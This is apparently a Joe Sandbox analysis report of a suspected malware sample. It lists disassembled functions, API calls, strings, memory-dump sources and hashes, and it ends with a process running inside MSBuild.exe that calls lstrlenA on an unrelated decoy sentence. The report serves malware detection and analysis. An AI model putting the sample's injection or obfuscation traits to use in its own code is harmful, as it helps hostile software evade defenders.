GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,70E0D3A3,?,?,00000000,008C1FC8,000000FF,?,008B0EE0,008B1010,?,008B0EB4,00000000), ref: 008B0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008B0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,008C1FC8,000000FF,?,008B0EE0,008B1010,?,008B0EB4,00000000), ref: 008B0FB9

Strings

mscoree.dll, xrefs: 008B0F7E
CorExitProcess, xrefs: 008B0F8F

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4a44770898a79a161f54b347f588ff5dd095bdc1a8aa5832deb395a7918206c0
Instruction ID: c9a64a7ff3dea08be16316344166538b297c1b668a1096c6c392b221ee76eab2
Opcode Fuzzy Hash: 4a44770898a79a161f54b347f588ff5dd095bdc1a8aa5832deb395a7918206c0
Instruction Fuzzy Hash: DC014432604A15AFDB119B54DC49FAEBBB8FB04B15F044529F821E27D0DB75D905CE50

Function 008A4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008A4442
int.LIBCPMT ref: 008A4455

Part of subcall function 008A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008A16C5
Part of subcall function 008A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008A16DF

std::_Facet_Register.LIBCPMT ref: 008A4488
std::_Lockit::~_Lockit.LIBCPMT ref: 008A449E
Concurrency::cancel_current_task.LIBCPMT ref: 008A44A9

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3eddb321b165010de0ca45bc7c9168df9b4ed380cce46286b65e46453b2d086a
Instruction ID: d4d83fd1d338a076747ac432681481166d9c0673efa802c85b4b1b520390b9cc
Opcode Fuzzy Hash: 3eddb321b165010de0ca45bc7c9168df9b4ed380cce46286b65e46453b2d086a
Instruction Fuzzy Hash: CA014772601514ABDF15EB58D8059ED7768FFC2360F200158F801E7690DF709E41C781

Function 008A3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008A3DBD
int.LIBCPMT ref: 008A3DD0

Part of subcall function 008A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008A16C5
Part of subcall function 008A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008A16DF

std::_Facet_Register.LIBCPMT ref: 008A3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 008A3E19
Concurrency::cancel_current_task.LIBCPMT ref: 008A3E24

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 416d1262250eeab7c543286cbaa0f519062226d671baf3b41687ad50de39f9b0
Instruction ID: 11c04ccf805d2ef7305b249bdd559c2352390b014ab269834bf1bb8f9749b126
Opcode Fuzzy Hash: 416d1262250eeab7c543286cbaa0f519062226d671baf3b41687ad50de39f9b0
Instruction Fuzzy Hash: 4201F772A00118ABDF25AB58DC058DE77B8FF92360F200148F801D7A91DF309E01CB81

Function 008A4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008A4315
int.LIBCPMT ref: 008A4328

Part of subcall function 008A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 008A16C5
Part of subcall function 008A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008A16DF

std::_Facet_Register.LIBCPMT ref: 008A435B
std::_Lockit::~_Lockit.LIBCPMT ref: 008A4371
Concurrency::cancel_current_task.LIBCPMT ref: 008A437C

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 12b258ecbc579fa2108c9df19ac64b9f1fd4f714b9c6d61add4f567403c43063
Instruction ID: 66ce33841d1e7ea5dc737c7b1d5181d2888362fe4a1f5bf82c37aa469dece893
Opcode Fuzzy Hash: 12b258ecbc579fa2108c9df19ac64b9f1fd4f714b9c6d61add4f567403c43063
Instruction Fuzzy Hash: 3C01DF32A00518ABDF21BB689805CDEB7A9FFD6320B201158F815E7790DF709E02CB81

Function 008A507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008A5081
std::_Lockit::_Lockit.LIBCPMT ref: 008A508C
std::locale::_Setgloballocale.LIBCPMT ref: 008A50A7
_Yarn.LIBCPMT ref: 008A50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 008A50FA

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 5cf093c85df24242b3dbb9ed2eb3998859b23917a0875f50a961a77cebd15997
Instruction ID: 87b9c5317752d1e356af92b92ababc68351f94b2e426d5ba5ca53be28030e974
Opcode Fuzzy Hash: 5cf093c85df24242b3dbb9ed2eb3998859b23917a0875f50a961a77cebd15997
Instruction Fuzzy Hash: 6E01BC76A049549BEB05AB24D855ABC7BB2FF86340B158009E811D7781DF78AE42DBC2

Function 008E961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 008E9626

Part of subcall function 008E8E77: __getptd_noexit.LIBCMT ref: 008E8E7A
Part of subcall function 008E8E77: __amsg_exit.LIBCMT ref: 008E8E87

__getptd.LIBCMT ref: 008E963D
__amsg_exit.LIBCMT ref: 008E964B
__lock.LIBCMT ref: 008E965B
__updatetlocinfoEx_nolock.LIBCMT ref: 008E966F

Memory Dump Source

Source File: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: b3064422f596b13efd74ba45b3df5bda9614f7e65493b3403f286e134a9910cb
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: EDF09632904791DAD7217B6E5803B1D3390FF03724F55054AF444E62E2CF645941DA57

Function 008AB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,008AB353,00000000,?,0091B6DC,?,?,?,008AB4F6,00000004,InitializeCriticalSectionEx,008C4BD8,InitializeCriticalSectionEx), ref: 008AB3AF
GetLastError.KERNEL32(?,008AB353,00000000,?,0091B6DC,?,?,?,008AB4F6,00000004,InitializeCriticalSectionEx,008C4BD8,InitializeCriticalSectionEx,00000000,?,008AB2AD), ref: 008AB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 008AB3E1

Strings

api-ms-, xrefs: 008AB3C6

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9731a0a5ffd9ce28f3ae618270d0f1c86550218b2382f98fbff5a836a866fb9d
Instruction ID: 49bbd9ebe8811c1869faebdee599d8c1992a5aa54027f5dd6654111b03034efc
Opcode Fuzzy Hash: 9731a0a5ffd9ce28f3ae618270d0f1c86550218b2382f98fbff5a836a866fb9d
Instruction Fuzzy Hash: 36E04F31280304B7FF211BB1EC4AF593EA8FB11B51F104021FA0DE85E2E772EA518694

Function 008B7747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(70E0D3A3,00000000,00000000,00000000), ref: 008B77AA

Part of subcall function 008B952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,008B8FD3,?,00000000,-00000008), ref: 008B95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008B7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008B7A4D
GetLastError.KERNEL32 ref: 008B7AF0

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: fd905a6d14c16a14b3af2d2021dcfff54cf8518c30bb99aa9402fbf8b6a5f834
Instruction ID: 740d0f4a16b26f371038b2bf1cf7298c6e33eb72f87f6290b1f2caaf219b9c43
Opcode Fuzzy Hash: fd905a6d14c16a14b3af2d2021dcfff54cf8518c30bb99aa9402fbf8b6a5f834
Instruction Fuzzy Hash: 1CD16C75E082589FCF15CFA8D8809EDBBB5FF49314F18812AE865EB351D730A942CB50

Function 008AA371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 008AA438
___AdjustPointer.LIBCMT ref: 008AA45B
___AdjustPointer.LIBCMT ref: 008AA4F7

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 24a43e434ab865c81b8582694e01d8216d271b8937701d6a19b9426914320a17
Instruction ID: 99806b0600b4213f4d6fb66eeccc8f3296988905ea3b9ff14ea2edf3cb9cf26b
Opcode Fuzzy Hash: 24a43e434ab865c81b8582694e01d8216d271b8937701d6a19b9426914320a17
Instruction Fuzzy Hash: 6451DF726026069FFB2D8F58D845B7A77A4FF0A310F24442DF811D6E91EBB1AC40D79A

Function 008C06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,008BF713,00000000,00000001,00000000,00000000,?,008B7B44,00000000,00000000,00000000), ref: 008C0706
GetLastError.KERNEL32(?,008BF713,00000000,00000001,00000000,00000000,?,008B7B44,00000000,00000000,00000000,00000000,00000000,?,008B80CB,00000000), ref: 008C0712

Part of subcall function 008C06D8: CloseHandle.KERNEL32(FFFFFFFE,008C0722,?,008BF713,00000000,00000001,00000000,00000000,?,008B7B44,00000000,00000000,00000000,00000000,00000000), ref: 008C06E8

___initconout.LIBCMT ref: 008C0722

Part of subcall function 008C069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008C06C9,008BF700,00000000,?,008B7B44,00000000,00000000,00000000,00000000), ref: 008C06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,008BF713,00000000,00000001,00000000,00000000,?,008B7B44,00000000,00000000,00000000,00000000), ref: 008C0737

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: feab6a47740fa4de8b4b07e5c898cca0d360dae63444eb312fbb96f8c40cb955
Instruction ID: 0fe5a759188479fe4e145568cef884ed7f8c5ee63f1a131003264af0f02613e8
Opcode Fuzzy Hash: feab6a47740fa4de8b4b07e5c898cca0d360dae63444eb312fbb96f8c40cb955
Instruction Fuzzy Hash: 15F01C36000268BBCF622F96DC08E893FB6FB593E1B048014FA1995120DA32C921DF95

Function 008AA060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 008AA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 008AA153

Strings

csm, xrefs: 008AA13D

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 426435b68699db66c849d5a85cde1058e448da91b17c132029f5fa1669fb7beb
Instruction ID: 85ccebe487c01d957becf42fd1c136e4e836eaeeb0652b99308103f03987ccf9
Opcode Fuzzy Hash: 426435b68699db66c849d5a85cde1058e448da91b17c132029f5fa1669fb7beb
Instruction Fuzzy Hash: D341B234A00208ABDF14DF6CC885B9EBBB5FF46314F148066E815EBB52D735DA45CB92

Function 008AA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 008AA992

Strings

MOC, xrefs: 008AA9A4
RCC, xrefs: 008AA9AC

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 4d3b5c3658bb780fe04ac20c185e99b0fa59c4c237c15700f148b358bf687e3e
Instruction ID: f26000ffa9255570aadac38bc9bbc31fbc6d558fcbfef01f07e9ef95bb83307c
Opcode Fuzzy Hash: 4d3b5c3658bb780fe04ac20c185e99b0fa59c4c237c15700f148b358bf687e3e
Instruction Fuzzy Hash: 7A417A31900219AFEF1ADF98CD81AEEBBB5FF49300F198059FA14B7A11D335A950DB52

Function 008E4FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 008E504A
__aulldiv.LIBCMT ref: 008E5058

Strings

@, xrefs: 008E5025

Memory Dump Source

Source File: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 7e1f0ee3217f6c663e6aa333de039d513e5ec421e9a662690b5094e88f58fb32
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 28215CB1E44658AFDB00DFD5CC49FAEB7B9FB45B04F104219F605BB280C77869018BA5

Function 008CE0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 008CE130
__aulldiv.LIBCMT ref: 008CE13E

Strings

@, xrefs: 008CE10B

Memory Dump Source

Source File: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 72f2bdb4267be25895a411854d23cc366290ce073557019c369d0cea450c5bfc
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5B014BB0940308FAEB10DBE0CC4AF9EBA78FB41B06F248059F604B6280D6B499428B56

Function 008A15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008A15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008A161E

Part of subcall function 008A5178: _Yarn.LIBCPMT ref: 008A5197
Part of subcall function 008A5178: _Yarn.LIBCPMT ref: 008A51BB

Strings

bad locale name, xrefs: 008A162C

Memory Dump Source

Source File: 00000000.00000002.2339904217.00000000008A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2339838358.00000000008A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339949039.00000000008C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340016374.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340100855.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2340130007.000000000091C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_NdSXVNeoET.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 95689b2875c879c36fd564afbfb43ce22c7a1add5c6669a6a8b45af97df75354
Instruction ID: 8bde57d139564f9cec0fec4bd17b6f288da017f6acc9498f18e8a88063ea36d1
Opcode Fuzzy Hash: 95689b2875c879c36fd564afbfb43ce22c7a1add5c6669a6a8b45af97df75354
Instruction Fuzzy Hash: C3F017B1505B90AE93319F7E8481547FBE4FE293207949A2EE1DEC3A11D774E404CB6A

Analysis Process: MSBuild.exePID: 6236, Parent PID: 5796COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
